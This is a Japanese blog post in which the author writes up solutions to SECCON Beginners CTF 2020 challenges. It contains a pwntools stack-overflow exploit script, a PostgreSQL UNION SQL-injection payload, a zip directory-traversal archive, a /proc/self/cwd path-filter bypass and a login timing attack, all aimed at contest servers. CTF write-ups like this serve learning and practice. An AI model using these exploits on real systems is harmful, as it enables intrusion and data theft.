もはや日記ではなく年記である。
SECCON Beginners CTF 2020に参加した。
年季的にはBeginnerじゃないけど全然レベルアップしてないからいいのです。
Beginner’s Heap以外のBeginner, Easyレベル問を11問解いて1,433ポイントで70位。
Pwn – Beginner’s stack [Beginner]
スタックオーバーフローをしてvuln関数のリターンアドレスをwin関数のアドレスに書き換えればよい。
のだが、単純に書き換えると以下のようなメッセージが出る。
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
RSPが0x10の倍数になっていないといけないらしい。
win関数に行く前にスタックを8バイトずらすにはpopを挟んでやればよい。
ちょうどwin関数の1バイト前の命令がretなので、vuln関数のリターンアドレスをそこに向けてやり、vuln関数のリターンアドレスが格納されたスタックの先(saved rbp (main))にwin関数のアドレスを入れてやればよい。
うまくいくとシェルが取れるので、後はフラグをゲットするだけ。
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
以下ソース。初めてpwntools使ってみたけど便利ね。
from pwn import *
io = remote("bs.quals.beginners.seccon.jp", 9001)
addr_win = io.recvline().decode().rsplit(" ")[-1].rstrip(")\n")
msg = io.recvuntil("Input: ")
io.sendline(cyclic(0x28) + p64(int(addr_win, 16) - 1) + p64(int(addr_win, 16)))
io.interactive()
Crypto – R&B [Beginner]
与えられたコードを見るとこんな感じで、rot13したものの頭に”R”をつける処理か、base64したものの頭に”B”をつける処理のどちらかを選んで繰り返している。
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
このやり方でエンコードされたフラグが与えられているので、逆演算していけばよい。
私は手動で出力を確認しながらcut -c 2- | rot13
とcut -c 2- | base64 -d
をパイプでつなげていった。
tkito@salamander:~/r_and_b$ cat encoded_flag | cut -c 2- | base64 -d | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13
base64: invalid input
ctf4b{rot_base_rot_base_rot_base_base}
Crypto – Noisy equations [Easy]
problem.pyを読みとくと、以下のようになる。
Cがcoeffsの行列でFがFLAGのベクトル、Rが乱数のベクトルでAがanswersのベクトル。
CF + R = A
ここで、Cは実行のたびに変わる一方、Rは以下のコードでseedを固定しているため、何度実行しても同じ値になる。
seed(SEED)
Rが定数であるとわかったので、2回実行すると以下のようになる。
C_1F+R=A_1\\ C_2F+R=A_2
両辺の差分をとることでFLAGに関する連立一次方程式に帰結する。
(C_1-C_2)F=(A_1-A_2)
後は解いてやればよい。
from pwn import *
import json
import numpy as np
io = remote("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs_1 = json.loads(io.recvline())
answer_1 = json.loads(io.recvline())
io.clean()
io.close()
io = remote("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs_2 = json.loads(io.recvline())
answer_2 = json.loads(io.recvline())
io.clean()
io.close()
LEN = len(coeffs_1)
coeffs = [[ coeffs_1[i][j] - coeffs_2[i][j] for j in range(LEN) ] for i in range(LEN) ]
answer = [ answer_1[i] - answer_2[i] for i in range(LEN) ]
A = np.matrix(coeffs, dtype=float)
B = np.array(answer, dtype=float)
flag = np.linalg.solve(A, B)
print("".join([ chr(int(round(x))) for x in flag ]))
roundしないと値が1ずれるから要注意だ。
Web – Spy [Beginner]
従業員のリストが与えられて、その中からWebアプリを使っているユーザを抽出する問題。
与えられたapp.pyのコードから認証部分を抜き出したものが以下。
name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
アカウントが存在しない場合にはそこで処理を終了し、アカウントが存在する場合には入力されたパスワードからハッシュ化されたものを計算し、パスワードが合っているかどうかを確認している。
コメントによると「たくさんストレッチングしてるから超セキュア!」とのこと。
ストレッチングの欠点は、何度もハッシュ関数を実行するため処理に時間がかかるようになること。
画面には認証処理にかかった時間が表示されるようになっているので、これを使って、処理時間が短いユーザーと長いユーザーとを分けていく。
処理時間が長いユーザーがデータベースにエントリーがあるユーザーということで、チャレンジページでそれらのユーザーにチェックを入れてAnswerを押せばOK。
Web – Tweetstore [Easy]
SECCON運営のツイートを検索できるサービス。
ソースコードを見ると、searchパラメータとlimitパラメータに処理をしてSQLインジェクションが成功しないようにしている(つもりの模様)。
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
searchのシングルクォートをエスケープしているように見えて、searchにシングルクォート一つ入れるとサーバエラーになる面白実装だが、それはそれとして、searchを使ってSQLインジェクションをする。
なお、DBがPostgreSQLであることはソースコードのinitialize部分を見ればわかる。
\' union select usename,usename,now() from pg_user;--
now()のところを0とかnullとかしてみてうまくいかず、膨大な時間がかかってしまった。
ちなみに、limitの方でUNIONを挿入しようとしても、前段でORDER BYしているためエラーになる。ORDER BYの後にUNIONはできないのである。
最初はそれを知らずにずっと試行錯誤していて時間が溶けていった。
Web – unzip [Easy]
Zipファイルを送付するとサーバで展開してくれて中のファイルを取得できるようになるサービス。
与えられたファイルから、展開されたファイルのパスとフラグのパスがわかるので、ディレクトリトラバーサルをするようなパスを持ったファイルを含むzipファイルを作成して送ってやればよい。
tkito@salamander:~$ touch flag.txt
tkito@salamander:~$ mkdir -p a/b
tkito@salamander:~$ cd a/b
tkito@salamander:~/a/b$ zip answer.zip ../../flag.txt
adding: ../../flag.txt (stored 0%)
tkito@salamander:~/a/b$ unzip -l answer.zip
Archive: answer.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-05-24 17:40 ../../flag.txt
--------- -------
0 1 file
Reversing – mask [Beginner]
文字列を入力すると、各バイト0x75
でANDを取ったものと各バイト0xEB
でANDを取ったものが作成され、それぞれバイナリ内の文字列と比較され、両方とも合っていれば合格となり、その際の入力がフラグとなる。
ここで、フラグをFとし、バイナリ内の文字列をそれぞれA、Bとする。
\begin{aligned} F \land {\rm 0x75}&=A \\ F \land {\rm 0xEB}&=B \\ \end{aligned}
両辺を足して分配法則を適用すると、
\begin{aligned} (F \land {\rm 0x75}) \lor (F \land {\rm 0xEB}) &= A \lor B \\ F \land ({\rm 0x75} \lor {\rm 0xEB}) &= A \lor B \\ F &= A \lor B \end{aligned}
ということで、AとBのORを取ったものがフラグになる。
今回はCyberChefで計算。
Reversing – yakisoba [Easy]
フラグを入力して合ってれば合ってるって言ってくれるプログラム。
ただし判定ロジックが困ったことになっている。
コードを簡単に読んでみると、1文字ずつ何種類かの文字と比較して分岐、というのが繰り返されている。
真っ当なやり方としてはangrを使うのがよいらしいのだが、そんなに文字数も多くなかったので力業でやってみた。
n文字目を取り出すところに着目。
movzx edx, byte ptr [rdi+3]
で4文字目を取り出しているが、そこにジャンプする条件を見てみると、f
の場合にジャンプしている。すなわち3文字目はf
が正しいということになる。
これを繰り返してフラグを取得した。
Misc – Welcome [Beginner]
Discordの#announcementチャネルかピン留めされたメッセージを見ると書いてある。
Misc – emoemoencode [Beginner]
与えられたテキストファイルを開くと絵文字
バイナリを見てみるとこんな感じ
tkito@salamander:~$ hexdump -C emoemoencode.txt
00000000 f0 9f 8d a3 f0 9f 8d b4 f0 9f 8d a6 f0 9f 8c b4 |................|
00000010 f0 9f 8d a2 f0 9f 8d bb f0 9f 8d b3 f0 9f 8d b4 |................|
00000020 f0 9f 8d a5 f0 9f 8d a7 f0 9f 8d a1 f0 9f 8d ae |................|
00000030 f0 9f 8c b0 f0 9f 8d a7 f0 9f 8d b2 f0 9f 8d a1 |................|
00000040 f0 9f 8d b0 f0 9f 8d a8 f0 9f 8d b9 f0 9f 8d 9f |................|
00000050 f0 9f 8d a2 f0 9f 8d b9 f0 9f 8d 9f f0 9f 8d a5 |................|
00000060 f0 9f 8d ad f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 |................|
00000070 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8d aa |................|
00000080 f0 9f 8d a9 f0 9f 8d bd 0a |.........|
00000089
4バイトずつ刻んで、ctf4b{...}
のフォーマットと比較すると数字とそれ以外で異なるが、一定のオフセットが追加されているだけの模様。ということで各文字の差分から実際の文字を推測してフラグを取得した。
実はコードポイントで処理すれば、数字もその他も同じオフセットで処理できたらしい。UNICODEわからん…
Misc – readme [Easy]
ファイル名を入力するとそのファイルを読んで中身を返してくれるサービスが動いている。
フラグのファイルは/home/ctf/flag
にあるのだが、入力値の前処理の段階で、絶対パス(スラッシュで始まる)でないといけない、パスにctf
という文字が含まれていてはいけない、という制約が課されている。
当初はうまい手が思いつかず、pythonのライブラリからは無視されるけど文字列として扱った場合には存在しているような制御文字があるのかといろいろ試してみたけどすべてダメ。
「スラッシュで始まってないといけない」という制約を完全に忘れ、「このプログラムはどこで動いているんだろう?そこから相対パスでいけないか」という発想から/proc/self/cmdline
や/proc/self/environ
を見たりしたところで作業ディレクトリを表す/proc/self/cwd
の存在に気づき、/proc/self/cwd/../flag
を入力してフラグを取得した。
所感とか
普段CTFをやる際は、コマンドラインプログラムとかのためにLinuxを用意するのだけど、今回はWSLのUbuntuで事足りて、別途Linuxを用意しなくてもよかった。ありがとうMicrosoft。
Easy問は全部解きたかったけどBeginner’s Heapだけ解けなかった。Heap関係はLinkedListのことを考えると頭がこんがらがってよくない。
ただ、この問題はStep-by-stepでHeap攻略を考えさせる問題になっており、とても良い問題だった。普通に攻略させるだけの問題作るのに比べて労力がとても多くかかったことが想定される。教育コンテンツとして優秀な問題を作られたことには称賛を送りたい。
Beginnersというからもう少し簡単なレベルから出題されるかと思っていたのだけどそうではなかった。まああまりレベル下げてしまうとガチ勢に蹂躙されてしまうから仕方ないね。
最近はDFIR系の知識を身に着けていて、次いでPenTestにも手を出しているところなので、今後解ける問題が増えていくといいな。